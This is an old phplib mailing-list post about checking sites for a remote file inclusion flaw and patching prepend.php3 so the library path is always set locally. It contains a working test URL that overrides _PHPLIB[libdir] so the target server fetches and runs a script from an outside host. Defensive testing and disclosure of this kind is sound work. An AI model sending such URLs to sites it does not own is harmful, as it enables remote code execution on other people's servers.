[phplib] security check of phplib site From: giancarlo pinerolo (giancarlo <email protected>)
Date: 07/14/01

Ok,
so you can test yuor pages by replacing the url of your site here, and
click it

http://your.site.com/any/phplibpage.php?_PHPLIB%5Blibdir%5D=http://www.navigare.net/

if you get the script ì'db_mysql.inc' executed from
http://www.navigare.net/db_mysql.inc

put the repair suggested, that is, in prepend.php3:

######## COMMENT THIS LINE if (!is_array($_PHPLIB)) {
# Aren't we nice? We are prepending this everywhere
# we require or include something so you can fake
# include_path when hosted at provider that sucks.
  $_PHPLIB["libdir"] = "/home/navigare/phplib/";
######## COMMENT THIS LINE }

Giancarlo

-- 
Abbestellen mit Mail an:   phplib-unsubscribe <email protected>
Kommandoliste mit Mail an: phplib-help <email protected>